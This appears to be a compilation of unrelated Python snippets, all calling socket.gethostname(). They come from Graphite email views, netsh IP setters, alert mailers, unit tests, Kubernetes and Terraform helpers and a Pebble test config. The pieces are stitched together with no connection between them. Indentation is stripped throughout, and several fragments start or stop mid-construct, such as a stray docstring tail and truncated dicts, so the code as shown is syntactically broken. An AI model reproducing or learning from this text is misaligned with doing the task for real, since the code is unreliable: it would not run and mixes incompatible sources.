def getHostLocalAddress(self,):
if platform == "darwin":
hostname = socket.gethostname() if '.local' in socket.gethostname() else socket.gethostname()+'.local' #OS X where hostname doesn't have the <.local>
return socket.gethostbyname(hostname)
else:
return socket.gethostbyname(socket.gethostname())
def _doemail(request):
cgiParams = request.GET
assert 'recipients' in cgiParams and 'url' in cgiParams and 'title' in cgiParams, "Incomplete doemail, requires recipients, url, and title"
import smtplib, httplib, urlparse
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
from email.MIMEImage import MIMEImage
url = cgiParams['url']
title = cgiParams['title']
recipients = cgiParams['recipients'].split(',')
proto, server, path, query, frag = urlparse.urlsplit(url)
if query: path += '?' + query
conn = httplib.HTTPConnection(server)
conn.request('GET',path)
resp = conn.getresponse()
assert resp.status == 200, "Failed HTTP response %s %s" % (resp.status, resp.reason)
rawData = resp.read()
conn.close()
message = MIMEMultipart()
message['Subject'] = "Graphite Image"
message['To'] = ', '.join(recipients)
message['From'] = 'frontend@%s' % socket.gethostname()
text = MIMEText( "Image generated by the following graphite URL at %s\r\n\r\n%s" % (time.ctime(),url) )
image = MIMEImage( rawData )
image.add_header('Content-Disposition', 'attachment', filename=title + time.strftime("_%b%d_%I%M%p.png"))
message.attach(text)
message.attach(image)
server = smtplib.SMTP(settings.SMTP_SERVER)
server.sendmail('frontend@%s' % socket.gethostname(),recipients,message.as_string())
server.quit()
return stdout("Successfully sent %s to %s" % (url,cgiParams['recipients']))
def sentimentAnalysis(tweet_dict):
analysis = {}
logger.info(socket.gethostname() + " Start sentiment analysis " + view_name + ".")
start_sentiment_time = time.time()
for item in tweet_dict:
try:
(key, text) = item.split("@@##$$")
testimonial = TextBlob(text)
polarity = float(testimonial.sentiment[0])
except:
logger.info(socket.gethostname() + " cannot analysis word " + text + ".")
continue
if polarity > 0.0:
try:
analysis[key + "###positive"] += 1
except:
analysis[key + "###positive"] = 1
elif polarity == 0.0:
try:
analysis[key + "###neutral"] += 1
except:
analysis[key + "###neutral"] = 1
else:
try:
analysis[key + "###negative"] += 1
except:
analysis[key + "###negative"] = 1
end_sentiment_time = time.time()
sentiment_time = end_sentiment_time - start_sentiment_time
logger.info(socket.gethostname() + " Finished sentiment analysis for " + str(sentiment_time) + "s.")
for (item, count) in analysis.iteritems():
print item, "######", count
def _machine_id():
"""
for informational purposes, try to get a machine unique id thing
"""
if platform.isLinux():
try:
# why this? see: http://0pointer.de/blog/projects/ids.html
with open('/var/lib/dbus/machine-id', 'r') as f:
return f.read().strip()
except:
# Non-dbus using Linux, get a hostname
return socket.gethostname()
elif platform.isMacOSX():
# Get the serial number of the platform
import plistlib
plist_data = subprocess.check_output(["ioreg", "-rd1", "-c", "IOPlatformExpertDevice", "-a"])
if six.PY2:
# Only API on 2.7
return plistlib.readPlistFromString(plist_data)[0]["IOPlatformSerialNumber"]
else:
# New, non-deprecated 3.4+ API
return plistlib.loads(plist_data)[0]["IOPlatformSerialNumber"]
else:
# Something else, just get a hostname
return socket.gethostname()
def __init__(self, data_set_name, fixed_tags=None, variable_tags=None, data=None):
self.data_set_name = str(data_set_name)
# fixed_tags can optionally be provided in a dict upong DS declaration
if fixed_tags==None:
self.fixed_tags={'host':gethostname()}
elif type(fixed_tags) is dict:
self.fixed_tags = fixed_tags
self.fixed_tags['host']=gethostname()
else:
print "ERROR: if passing fixed_tags, type must be a dict!"
exit(1)
# variable_tags can optionally be provided in a dict upong DS declaration
if variable_tags==None:
self.variable_tags = []
if data != None: self.variable_tags.append({})
elif type(variable_tags) is dict:
self.variable_tags = [variable_tags]
else:
print "ERROR: if passing variable_tags, type must be a dict!"
exit(1)
# data can optionally be provided in a dict upon DS declaration
if data==None:
self.data = []
if variable_tags != None: self.data.append({})
elif type(data) is dict:
self.data = [data]
else:
print "ERROR: if passing data, type must be a dict!"
exit(1)
def set_ip_dhcp():
print "SET IP ADRESS : DHCP"
logging.info( "SET IP ADRESS : DHCP")
host_ip=socket.gethostbyname(socket.gethostname())
get_ip=host_ip
os.system('netsh interface ipv4 set address name="Ethernet" source=dhcp')
i=0
while get_ip == host_ip :
ip_t=socket.gethostbyname(socket.gethostname())
if ip_t!='127.0.0.1':
get_ip=ip_t
if i==0:
sys.stdout.write("Processing ")
else:
sys.stdout.write(".")
time.sleep(1)
if i < 60:
i = i + 1
else:
print "WAIT ",i," SEC, STOPPED, IP ADDRESS :",get_ip
logging.error( "WAIT "+i+" SEC, STOPPED, IP ADDRESS :",get_ip)
break
print ""
print "OK, IP ADRESS HOST FROM DHCP :",get_ip
logging.info("OK, IP ADRESS HOST FROM DHCP :"+get_ip)
def rebuild(tokudb, builddir, tokudb_data, cc, cxx, tests):
info('Building tokudb.')
if not os.path.exists(builddir):
os.mkdir(builddir)
newenv = os.environ
newenv['CC'] = cc
newenv['CXX'] = cxx
r = call(['cmake',
'-DCMAKE_BUILD_TYPE=Debug',
'-DUSE_GTAGS=OFF',
'-DUSE_CTAGS=OFF',
'-DUSE_ETAGS=OFF',
'-DUSE_CSCOPE=OFF',
'-DTOKUDB_DATA=%s' % tokudb_data,
tokudb],
env=newenv,
cwd=builddir)
if r != 0:
send_mail(['*****@*****.**'], 'Stress tests on %s failed to build.' % gethostname(), '')
error('Building the tests failed.')
sys.exit(r)
r = call(['make', '-j8'], cwd=builddir)
if r != 0:
send_mail(['*****@*****.**'], 'Stress tests on %s failed to build.' % gethostname(), '')
error('Building the tests failed.')
sys.exit(r)
def _load_ips_gethostbyname():
"""load ip addresses with socket.gethostbyname_ex
This can be slow.
"""
global LOCALHOST
try:
LOCAL_IPS[:] = socket.gethostbyname_ex('localhost')[2]
except socket.error:
# assume common default
LOCAL_IPS[:] = ['127.0.0.1']
try:
hostname = socket.gethostname()
PUBLIC_IPS[:] = socket.gethostbyname_ex(hostname)[2]
# try hostname.local, in case hostname has been short-circuited to
# loopback
if not hostname.endswith('.local') and all(ip.startswith('127') for ip in PUBLIC_IPS):
PUBLIC_IPS[:] = socket.gethostbyname_ex(
socket.gethostname() + '.local')[2]
except socket.error:
pass
finally:
PUBLIC_IPS[:] = uniq_stable(PUBLIC_IPS)
LOCAL_IPS.extend(PUBLIC_IPS)
# include all-interface aliases: 0.0.0.0 and ''
LOCAL_IPS.extend(['0.0.0.0', ''])
LOCAL_IPS[:] = uniq_stable(LOCAL_IPS)
LOCALHOST = LOCAL_IPS[0]
def set_ip(host_ip):
print ""
print ""
sys.stdout.write("SET IP STATIC ADRESS :"+host_ip[0]+" ")
logging.info( "SET IP ADRESS :"+host_ip[0])
get_ip=socket.gethostbyname(socket.gethostname())
if get_ip!=host_ip[0]:
os.system('netsh interface ipv4 set address name="Ethernet" source=static address='+host_ip[0]+' mask='+host_ip[1]+' gateway='+host_ip[2])
i=0
while get_ip != host_ip[0] :
ip_t=socket.gethostbyname(socket.gethostname())
if ip_t!='127.0.0.1':
get_ip=ip_t
if i==0:
sys.stdout.write("Processing ")
else:
sys.stdout.write(".")
time.sleep(1)
if i < 60:
i = i + 1
else:
sys.stdout.write( " WAIT "+str(i)+" SEC STOPPED, IP ADDRESS :"+get_ip)
break
sys.stdout.write("OK, SET STATIC IP ADRESS HOST :"+get_ip)
logging.info("OK, SET STATIC IP ADRESS HOST :"+get_ip)
else:
sys.stdout.write("IP :"+str(host_ip)+" established")
logging.error("IP :"+str(host_ip)+" established")
def __init__(self, rule_file, discovery_server,
discovery_port, collector_addr):
self.module = Module.COMPUTE_NODE_MGR
self.module_id = ModuleNames[self.module]
node_type = Module2NodeType[self.module]
node_type_name = NodeTypeNames[node_type]
self.sandesh_global = sandesh_global
EventManager.__init__(self, rule_file, discovery_server,
discovery_port, collector_addr, sandesh_global)
self.node_type = "contrail-vrouter"
self.table = "ObjectVRouter"
_disc = self.get_discovery_client()
sandesh_global.init_generator(
self.module_id, socket.gethostname(),
node_type_name, self.instance_id, self.collector_addr,
self.module_id, 8102, ['vrouter.loadbalancer',
'nodemgr.common.sandesh'], _disc)
sandesh_global.set_logging_params(enable_local_log=True)
self.supervisor_serverurl = "unix:///var/run/supervisord_vrouter.sock"
self.add_current_process()
ConnectionState.init(sandesh_global, socket.gethostname(), self.module_id,
self.instance_id,
staticmethod(ConnectionState.get_process_state_cb),
NodeStatusUVE, NodeStatus, self.table)
self.lb_stats = LoadbalancerStatsUVE()
self.send_system_cpu_info()
self.third_party_process_dict = {}
def no_test_userandaddressinit(self):
server = 'http://demo.opencastproject.org'
user = '******';
password = '******';
hostname = 'rubenruaHost'
address = '8.8.8.8'
workflow = 'mini-full'
workflow_parameters = 'uno:uno'
workflow_parameters_2 = 'uno:uno;dos:dos'
client = MHHTTPClient(server, user, password)
self.assertEqual(client.hostname, 'GC-' + socket.gethostname())
self.assertEqual(client.address, socket.gethostbyname(socket.gethostname()))
client = MHHTTPClient(server, user, password, hostname)
self.assertEqual(client.hostname, hostname)
self.assertEqual(client.address, socket.gethostbyname(socket.gethostname()))
client = MHHTTPClient(server, user, password, hostname, address)
self.assertEqual(client.hostname, hostname)
self.assertEqual(client.address, address)
client = MHHTTPClient(server, user, password, hostname, address)
self.assertEqual(client.workflow, 'full')
self.assertEqual(client.workflow_parameters, {'trimHold': 'true'})
client = MHHTTPClient(server, user, password, hostname, address, workflow, workflow_parameters)
self.assertEqual(client.workflow, 'mini-full')
self.assertEqual(client.workflow_parameters, {'uno': 'uno'})
client = MHHTTPClient(server, user, password, hostname, address, workflow, workflow_parameters_2)
self.assertEqual(client.workflow, 'mini-full')
self.assertEqual(client.workflow_parameters, {'uno': 'uno', 'dos': 'dos'})
def get_node_name():
# Get all the nodes in the cluster
cmd = 'kubectl --kubeconfig={} get no -o=json'.format(kubeconfig_path)
cmd = cmd.split()
deadline = time.time() + 60
while time.time() < deadline:
try:
raw = check_output(cmd)
break
except CalledProcessError:
hookenv.log('Failed to get node name for node %s.'
' Will retry.' % (gethostname()))
time.sleep(1)
else:
msg = 'Failed to get node name for node %s' % gethostname()
raise GetNodeNameFailed(msg)
result = json.loads(raw.decode('utf-8'))
if 'items' in result:
for node in result['items']:
if 'status' not in node:
continue
if 'addresses' not in node['status']:
continue
# find the hostname
for address in node['status']['addresses']:
if address['type'] == 'Hostname':
if address['address'] == gethostname():
return node['metadata']['name']
# if we didn't match, just bail to the next node
break
msg = 'Failed to get node name for node %s' % gethostname()
raise GetNodeNameFailed(msg)
def create_uid_email(username=None, hostname=None):
"""Create an email address suitable for a UID on a GnuPG key.
:param str username: The username portion of an email address. If None,
defaults to the username of the running Python
process.
:param str hostname: The FQDN portion of an email address. If None, the
hostname is obtained from gethostname(2).
:rtype: str
:returns: A string formatted as <username>@<hostname>.
"""
if hostname:
hostname = hostname.replace(' ', '_')
if not username:
try: username = os.environ['LOGNAME']
except KeyError: username = os.environ['USERNAME']
if not hostname: hostname = gethostname()
uid = "%s@%s" % (username.replace(' ', '_'), hostname)
else:
username = username.replace(' ', '_')
if (not hostname) and (username.find('@') == 0):
uid = "%s@%s" % (username, gethostname())
elif hostname:
uid = "%s@%s" % (username, hostname)
else:
uid = username
return uid
def on_message(self, headers, body):
# FIXME, don't hardcode keepalive topic name:
if headers["destination"] == "/topic/keepalive":
logging.debug("got keepalive message")
response = {
"host": socket.gethostname(),
"script": os.path.basename(__file__),
"timestamp": datetime.now().isoformat(),
}
stomp.send(body=json.dumps(response), destination="/topic/keepalive_response")
return ()
debug_msg = {
"script": os.path.basename(__file__),
"host": socket.gethostname(),
"timestamp": datetime.now().isoformat(),
"message": "received message from %s, before thread" % headers["destination"],
}
stomp.send(body=json.dumps(debug_msg), destination="/topic/keepalive_response")
logging.info("Received stomp message: {message}".format(message=body))
received_obj = None
try:
received_obj = json.loads(body)
except ValueError as e:
logging.error("Received invalid JSON: %s." % body)
return
handle_builder_event(received_obj)
logging.info("Destination: %s" % headers.get("destination"))
# Acknowledge that the message has been processed
self.message_received = True
def links(*screen):
synergyconf = open(os.path.join(os.path.expanduser("~"), ".synergy.conf"), 'a')
synergyconf.write('section: links\n')
for y in screen[0]:
if y is not None: ## If the comboBox is not empty
subnames.append(y.split('_'))
else:
pass
### writing the host part ####
synergyconf.write("\t%s:\n" % gethostname())
for z in subnames:
if z[0] == 'host':
pass
else:
synergyconf.write("\t%s = %s\n" % (z[0], z[2]))
### writing the client part ###
for clients in subnames:
if clients[2] == gethostname():
pass
else:
synergyconf.write("\t%s:\n" % clients[2])
synergyconf.write("\t\t%s = %s\n" % (clients[1], gethostname()))
synergyconf.write('end\n')
synergyconf.close()
def restartAndSendEmailAlert(restart, subject, msg, alertops = False):
if restart:
restart_msg = commands.getoutput("/etc/init.d/smartproxyd restart")
# append restart msg:
msg += "\n\nRestarting smartproxyd: %s\n\n" % restart_msg
sender = 'root@%s' % socket.gethostname()
receivers = EMAIL_NOTIFICATION_LIST
# add ops to the receivers if necessary:
if alertops:
receivers.append(OPS_NOTIFICATION)
server= smtplib.SMTP('localhost')
# if we restarted, wait for a few seconds before appending the log, so that smartproxyd has time to start:
if restart:
time.sleep(5)
# append the last 30 lines of the smartproxyd.log to the msg:
log = commands.getoutput("tail -n 30 /var/log/lounge/smartproxyd.log")
msg += "\n\nsmartproxyd.log (last 30 lines):\n" + log
server.sendmail(sender, receivers,
('From: %s\n'
+ 'To: %s\n'
+ 'Subject: %s: %s\n\n'
+ '%s') % (sender, COMMASPACE.join(receivers), socket.gethostname(), subject, msg))
server.quit()
def get_ip():
"""Provides an available network interface address, for example
"192.168.1.3".
A `NetworkError` exception is raised in case of failure."""
try:
try:
ip = socket.gethostbyname(socket.gethostname())
except socket.gaierror: # for Mac OS X
ip = socket.gethostbyname(socket.gethostname() + ".local")
except socket.gaierror:
# sometimes the hostname doesn't resolve to an ip address, in which
# case this will always fail
ip = None
if (ip is None or ip.startswith("127.")) and mozinfo.isLinux:
interfaces = _get_interface_list()
for ifconfig in interfaces:
if ifconfig[0] == 'lo':
continue
else:
return ifconfig[1]
if ip is None:
raise NetworkError('Unable to obtain network address')
return ip
def handle_line(self, configFileName, fileName, line):
"""docstring for handle_line"""
#print "==> %s <==" % fileName
#print line,
if self.isalertmatch(line):
eventType = 'ALERT'
severity = 'RED'
elif self.isclearmatch(line):
eventType = 'CLEAR'
severity = 'WHITE'
else:
return
if self.escalationType == "Email":
e = Email("halavin@localhost", "Alert Email", configFileName + "::" + fileName + "::" + line)
e.sendemail()
e = None
elif self.escalationType == "SnmpTrap":
st = SnmpTrap()
st.sendTrap(socket.gethostname(),
socket.gethostname(),
eventType,
severity,
configFileName+"::"+fileName,
configFileName+"::"+fileName+"::"+line
)
elif self.escalationType == "Log":
pass
else:
# else just print it on the screen
print "%s::%s::%s:%s" % ("ALERT", configFileName, fileName, line),
def send_email(request):
try:
recipients = request.GET['to'].split(',')
url = request.GET['url']
proto, server, path, query, frag = urlsplit(url)
if query: path += '?' + query
conn = HTTPConnection(server)
conn.request('GET',path)
resp = conn.getresponse()
assert resp.status == 200, "Failed HTTP response %s %s" % (resp.status, resp.reason)
rawData = resp.read()
conn.close()
message = MIMEMultipart()
message['Subject'] = "Graphite Image"
message['To'] = ', '.join(recipients)
message['From'] = 'composer@%s' % gethostname()
text = MIMEText( "Image generated by the following graphite URL at %s\r\n\r\n%s" % (ctime(),url) )
image = MIMEImage( rawData )
image.add_header('Content-Disposition', 'attachment', filename="composer_" + strftime("%b%d_%I%M%p.png"))
message.attach(text)
message.attach(image)
s = SMTP(settings.SMTP_SERVER)
s.sendmail('composer@%s' % gethostname(),recipients,message.as_string())
s.quit()
return HttpResponse( "OK" )
except:
return HttpResponse( format_exc() )
def is_local(self, hosts):
if 0 == len(self.local_names):
self.local_names.append('localhost')
self.local_names.append(socket.gethostname().lower());
try:
self.local_names.append(socket.gethostbyname_ex(socket.gethostname())[-1])
except socket.gaierror:
# TODO Append local IP address to local_names
pass
for s in hosts:
s = s.lower()
if s.startswith('127.') \
or s.startswith('192.168.') \
or s.startswith('10.') \
or s.startswith('169.254.') \
or s in self.local_names:
print s
return True
for h in config.PROXY_HOSTS_ONLY:
# if PROXY_HOSTS_ONLY is not empty
# only proxy these hosts
if s.endswith(h):
return False
if len(config.PROXY_HOSTS_ONLY) > 0:
return True
else:
return False
def dump_bug (level, etype, msg, location=None, nhdf=None):
global DISABLE_DUMP
if DISABLE_DUMP: return
now = int(time.time())
pid = os.getpid()
import neo_cgi, neo_util
hdf = neo_util.HDF()
hdf.setValue("Required.Level", level)
hdf.setValue("Required.When", str(int(time.time())))
hdf.setValue("Required.Type", etype)
hdf.setValue("Required.Title", msg)
hdf.setValue("Optional.Hostname", socket.gethostname())
if location:
hdf.setValue("Optional.Location", location)
for (key, value) in os.environ.items():
hdf.setValue ("Environ.%s" % key, value)
global Count
Count = Count + 1
fname = "%d.%d_%d.%s" % (now, pid, Count, socket.gethostname())
checkPaths()
tpath = os.path.join (DUMP_DIR, "tmp", fname)
npath = os.path.join (DUMP_DIR, "new", fname)
hdf.writeFile(tpath)
os.rename(tpath, npath)
def api_publish(self, end_point = None):
self._debug['msg_pubs'] += 1
ctype = bottle.request.headers['content-type']
json_req = {}
if ctype == 'application/json':
data = bottle.request.json
for service_type, info in data.items():
json_req['name'] = service_type
json_req['info'] = info
elif ctype == 'application/xml':
data = xmltodict.parse(bottle.request.body.read())
for service_type, info in data.items():
json_req['name'] = service_type
json_req['info'] = dict(info)
else:
bottle.abort(400, e)
sig = end_point or publisher_id(
bottle.request.environ['REMOTE_ADDR'], json.dumps(json_req))
# Rx {'name': u'ifmap-server', 'info': {u'ip_addr': u'10.84.7.1',
# u'port': u'8443'}}
info = json_req['info']
service_type = json_req['name']
entry = self._db_conn.lookup_service(service_type, service_id=sig)
if not entry:
entry = {
'service_type': service_type,
'service_id': sig,
'in_use': 0,
'ts_use': 0,
'ts_created': int(time.time()),
'prov_state': 'new',
'remote': bottle.request.environ.get('REMOTE_ADDR'),
'sequence': str(int(time.time())) + socket.gethostname(),
}
elif 'sequence' not in entry or self.service_expired(entry):
# handle upgrade or republish after expiry
entry['sequence'] = str(int(time.time())) + socket.gethostname()
entry['info'] = info
entry['admin_state'] = 'up'
entry['heartbeat'] = int(time.time())
# insert entry if new or timed out
self._db_conn.update_service(service_type, sig, entry)
response = {'cookie': sig + ':' + service_type}
if ctype != 'application/json':
response = xmltodict.unparse({'response': response})
self.syslog('publish service "%s", sid=%s, info=%s'
% (service_type, sig, info))
if not service_type.lower() in self.service_config:
self.service_config[
service_type.lower()] = self._args.default_service_opts
return response
def sendCommunicationAlertClear(self):
if not self.communicationAlertSent:
return True
subject = "[alertR] (%s) Communication problems solved" \
% socket.gethostname()
message = "The communication problems between the host '%s' " \
% socket.gethostname() \
+ "and the server were solved."
emailHeader = "From: %s\r\nTo: %s\r\nSubject: %s\r\n" \
% (self.fromAddr, self.toAddr, subject)
# sending eMail alert to configured smtp server
logging.info("[%s]: Sending eMail alert to %s."
% (self.fileName, self.toAddr))
try:
smtpServer = smtplib.SMTP(self.host, self.port)
smtpServer.sendmail(self.fromAddr, self.toAddr,
emailHeader + message)
smtpServer.quit()
except Exception as e:
logging.exception("[%s]: Unable to send eMail alert. "
% self.fileName)
return False
# clear flag that a communication alert was sent before exiting
self.communicationAlertSent = False
return True
def __init__(self, debug=False): self.debug = debug if self.debug: logLevel = logging.DEBUG else: logLevel = logging.INFO logging.basicConfig(format='%(levelname)s: %(message)s', level=logLevel) if not os.path.isdir(self.OUTPUT_DIR): os.mkdir(self.OUTPUT_DIR) if not os.path.isdir(self.UNPROCESSED_DIR): os.mkdir(self.UNPROCESSED_DIR) if not os.path.isdir(self.PROCESSED_DIR): os.mkdir(self.PROCESSED_DIR) if not os.path.isdir(self.PROCESSING_DIR): os.mkdir(self.PROCESSING_DIR) self.db = DB(debug = self.debug) self.rsync = rsync( self.debug ) if socket.gethostname() == 'cet-sif': self.OnServer = True # self.host = socket.gethostbyname( 'cet-research.colorado.edu' ) self.host = '128.138.248.205' else: self.OnServer = False self.host = socket.gethostbyname(socket.gethostname())
def sendCommunicationAlert(self, connectionRetries):
if self.communicationAlertSent:
return True
subject = "[alertR] (%s) Communication problems detected" \
% socket.gethostname()
message = "Communication problems detected between the host '%s' " \
% socket.gethostname() \
+ "and the server. The host '%s' was not able to establish " \
% socket.gethostname() \
+ "a connection after %d retries." \
% connectionRetries
emailHeader = "From: %s\r\nTo: %s\r\nSubject: %s\r\n" \
% (self.fromAddr, self.toAddr, subject)
# sending eMail alert to configured smtp server
logging.info("[%s]: Sending eMail alert to %s."
% (self.fileName, self.toAddr))
try:
smtpServer = smtplib.SMTP(self.host, self.port)
smtpServer.sendmail(self.fromAddr, self.toAddr,
emailHeader + message)
smtpServer.quit()
except Exception as e:
logging.exception("[%s]: Unable to send eMail alert. "
% self.fileName)
return False
# set flag that a communication alert was sent before exiting
self.communicationAlertSent = True
return True
def test_bulkadd(self):
app_id = 'test_app'
bulk_add_request = taskqueue_service_pb.TaskQueueBulkAddRequest()
item = bulk_add_request.add_add_request()
item.set_app_id(app_id)
item.set_queue_name('default')
item.set_task_name('babaganoose')
item.set_eta_usec(0)
item.set_method(taskqueue_service_pb.TaskQueueAddRequest.GET)
item.set_mode(taskqueue_service_pb.TaskQueueMode.PUSH)
host = socket.gethostbyname(socket.gethostname())
item.set_url('http://' + host + ':64839/queues')
host = socket.gethostbyname(socket.gethostname())
req = urllib2.Request('http://' + host + ':64839')
api_request = remote_api_pb.Request()
api_request.set_method("BulkAdd")
api_request.set_service_name("taskqueue")
api_request.set_request(bulk_add_request.Encode())
remote_request = api_request.Encode()
req.add_header('Content-Length', str(len(remote_request)))
req.add_header('protocolbuffertype', 'Request')
req.add_header('appdata', app_id)
response = urllib2.urlopen(req, remote_request)
api_response = response.read()
api_response = remote_api_pb.Response(api_response)
bulk_add_response = taskqueue_service_pb.TaskQueueBulkAddResponse(api_response.response())
print bulk_add_response
self.assertEquals(response.getcode(), 200)
def test_bulkadd(self):
app_id = "test_app"
bulk_add_request = taskqueue_service_pb.TaskQueueBulkAddRequest()
item = bulk_add_request.add_add_request()
item.set_app_id(app_id)
item.set_queue_name("default")
item.set_task_name("babaganoose")
item.set_method(taskqueue_service_pb.TaskQueueAddRequest.GET)
item.set_mode(taskqueue_service_pb.TaskQueueMode.PUSH)
item.set_eta_usec(5000000) # 5 seconds
host = socket.gethostbyname(socket.gethostname())
item.set_url("http://" + host + ":64839/queues")
host = socket.gethostbyname(socket.gethostname())
req = urllib2.Request("http://" + host + ":64839")
api_request = remote_api_pb.Request()
api_request.set_method("BulkAdd")
api_request.set_service_name("taskqueue")
api_request.set_request(bulk_add_request.Encode())
remote_request = api_request.Encode()
req.add_header("Content-Length", str(len(remote_request)))
req.add_header("protocolbuffertype", "Request")
req.add_header("appdata", app_id)
response = urllib2.urlopen(req, remote_request)
api_response = response.read()
api_response = remote_api_pb.Response(api_response)
bulk_add_response = taskqueue_service_pb.TaskQueueBulkAddResponse(api_response.response())
print bulk_add_response
self.assertEquals(response.getcode(), 200)
def main():
components = []
processes, license = read_config()
pids = find_pid(processes)
LOG.info("Watching process:" )
for pid in pids:
collection = []
metrics = dict()
process = psutil.Process(pid.pid)
collection.append(get_cpu_stats(process))
collection.append(get_net_stats(process))
collection.append(get_vm_stats(process))
collection.append(get_io_stats(process))
for metric in collection:
for data in metric.metrics:
namespace = ''
unit = ''
section = metric.t_class
name = data.name
if data.namespace:
namespace = data.namespace + "/"
if data.unit:
unit = "[" + data.unit + "]"
key = "Component/%(section)s/%(namespace)s%(name)s%(unit)s" % locals()
value = data.metric
metrics[key] = value
component_template = {
"name": "%s-%s-%s" % (str(pid.pid), pid.name(), gethostname()),
"guid": GUID,
"duration" : 60,
"metrics" : metrics
}
components.append(component_template)
payload = {
"agent": {
"host" : gethostname(),
"pid" : getpid(),
"version" : "1.0.0"
},
"components": components
}
LOG.debug("Sending payload\n: %s", payload)
headers = {"X-License-Key": license, "Content-Type":"application/json", "Accept":"application/json"}
request = requests.post(url=URL, headers=headers, data=json.dumps(payload))
LOG.debug("Newrelic response code: %s" ,request.status_code)
print request.text
def network_details():
"""
Returns details about the network links
"""
# Get IPv4 details
ipv4_addresses = [info[4][0] for info in socket.getaddrinfo(
socket.gethostname(), None, socket.AF_INET)]
# Add localhost
ipv4_addresses.extend(info[4][0] for info in socket.getaddrinfo(
"localhost", None, socket.AF_INET))
# Filter addresses
ipv4_addresses = sorted(set(ipv4_addresses))
try:
# Get IPv6 details
ipv6_addresses = [info[4][0] for info in socket.getaddrinfo(
socket.gethostname(), None, socket.AF_INET6)]
# Add localhost
ipv6_addresses.extend(info[4][0] for info in socket.getaddrinfo(
"localhost", None, socket.AF_INET6))
# Filter addresses
ipv6_addresses = sorted(set(ipv6_addresses))
except (socket.gaierror, AttributeError):
# AttributeError: AF_INET6 is missing in some versions of Python
ipv6_addresses = None
return {"IPv4": ipv4_addresses, "IPv6": ipv6_addresses,
"host.name": socket.gethostname(),
"host.fqdn": socket.getfqdn()}
def test_check_for_setup_error(self, vgs):
vg_obj = fake_lvm.FakeBrickLVM('cinder-volumes',
False,
None,
'default')
configuration = conf.Configuration(fake_opt, 'fake_group')
lvm_driver = lvm.LVMVolumeDriver(configuration=configuration,
vg_obj=vg_obj, db=db)
lvm_driver.delete_snapshot = mock.Mock()
volume = tests_utils.create_volume(self.context,
host=socket.gethostname())
volume_id = volume['id']
backup = {}
backup['volume_id'] = volume_id
backup['user_id'] = fake.USER_ID
backup['project_id'] = fake.PROJECT_ID
backup['host'] = socket.gethostname()
backup['availability_zone'] = '1'
backup['display_name'] = 'test_check_for_setup_error'
backup['display_description'] = 'test_check_for_setup_error'
backup['container'] = 'fake'
backup['status'] = fields.BackupStatus.CREATING
backup['fail_reason'] = ''
backup['service'] = 'fake'
backup['parent_id'] = None
backup['size'] = 5 * 1024 * 1024
backup['object_count'] = 22
db.backup_create(self.context, backup)
lvm_driver.check_for_setup_error()
Examples
--------
>>> value = client.get_dio()
"""
return self.dio.read().data[0]
def set_dio(self, value):
"""
a wrapper to get digital state from the device handler process
Parameters
----------
value :: integer
Returns
-------
Examples
--------
>>> client.set_dio(127)
"""
result = self.dio.write(value)
if __name__ == '__main__':
import socket
SERVER_NAME = socket.gethostname()
from icarus_nmr.device_client import Client
client = Client(device_ca_server_prefix = f'device_{SERVER_NAME}:')
self = client
import os;
import socket;
import _thread;
import json;
import argparse;
import time;
import wx;
parser = argparse.ArgumentParser(prog="client", conflict_handler = "resolve");
host = socket.gethostname();
parser.add_argument("--host", "-h", type = str, default = host, help = "host name (default: socket.gethostname())");
parser.add_argument("--port", "-p", type = int, default = 8080, help = "port number (default: 8080)");
parser.add_argument("--buffer-size", "-b", type = int, default = 1024, help = "buffer size of the receiver (default: 1024)");
parser.add_argument("--path", "-t", type = str, default = "./data/", help = "path of the download directory (default: ./data/)");
args = parser.parse_args();
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
host = args.host;
port = args.port;
buffer_size = args.buffer_size;
path = args.path;
class client_app(wx.App):
#overload the initializer
def OnInit(self):
sock.connect((host, port));
print("connect to", (host, port));
self.init_frame();
return True;
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible. If not, see <http://www.gnu.org/licenses/>.
import json
import socket
import sys
own_ip = socket.gethostbyname(socket.gethostname())
config = {
"pebble": {
"listenAddress": "0.0.0.0:14000",
"managementListenAddress": "0.0.0.0:15000",
"certificate": "test/certs/localhost/cert.pem",
"privateKey": "test/certs/localhost/key.pem",
"httpPort": 5000,
"tlsPort": 5001,
"ocspResponderURL":
"http://{0}:5000/ocsp".format(own_ip), # will be added later
"externalAccountBindingRequired": False,
"externalAccountMACKeys": {
"kid-1":
"zWNDZM6eQGHWpSRTPal5eIUYFTu7EajVIoguysqZ9wG44nMEtx3MUAsUDkMTQ12W",
variables.update(TF_VAR_panorama_bootstrap_key=bootstrap_key.read())
# Generate a new RSA keypair to use to SSH to the VM. If you are using your own automation outside of
# Panhandler then you should use your own keys.
if os.path.exists(shared_wdir + 'id_rsa') is True:
print('Crypto Key exists already, skipping....')
public_key = open(shared_wdir + 'pub', 'r')
# Add the public key to the variables sent to Terraform so it can create the GCP key pair.
variables.update(TF_VAR_ra_key=public_key.read())
# Init terraform with the modules and providers. The continer will have the some volumes as Panhandler.
# This allows it to access the files Panhandler downloaded from the GIT repo.
container = client.containers.run('tjschuler/terraform-gcloud',
'terraform init -no-color -input=false',
auto_remove=True,
volumes_from=socket.gethostname(),
working_dir=wdir,
environment=variables,
detach=True)
# Monitor the log so that the user can see the console output during the run versus waiting until it is complete.
# The container stops and is removed once the run is complete and this loop will exit at that time.
for line in container.logs(stream=True):
print(line.decode('utf-8').strip())
# Run terraform apply
container = client.containers.run(
'tjschuler/terraform-gcloud',
'terraform apply -auto-approve -no-color -input=false',
auto_remove=True,
volumes_from=socket.gethostname(),
working_dir=wdir,
environment=variables,
'path_edges',
'graph_id',
'partition_id',
'num_clients',
'num_rounds',
'IP',
'PORT'
]
args = dict(zip(arg_names, sys.argv[1:]))
logging.warning('####################################### New Training Session #######################################')
logging.info('Server started , graph ID %s, number of clients %s, number of rounds %s',args['graph_id'],args['num_clients'],args['num_rounds'])
if 'IP' not in args.keys() or args['IP'] == 'localhost':
args['IP'] = socket.gethostname()
if 'PORT' not in args.keys():
args['PORT'] = 5000
path_nodes = args['path_nodes'] + args['graph_id'] + '_nodes_' + args['partition_id'] + ".csv"
nodes = pd.read_csv(path_nodes,index_col=0)
#nodes = nodes.astype("float32")
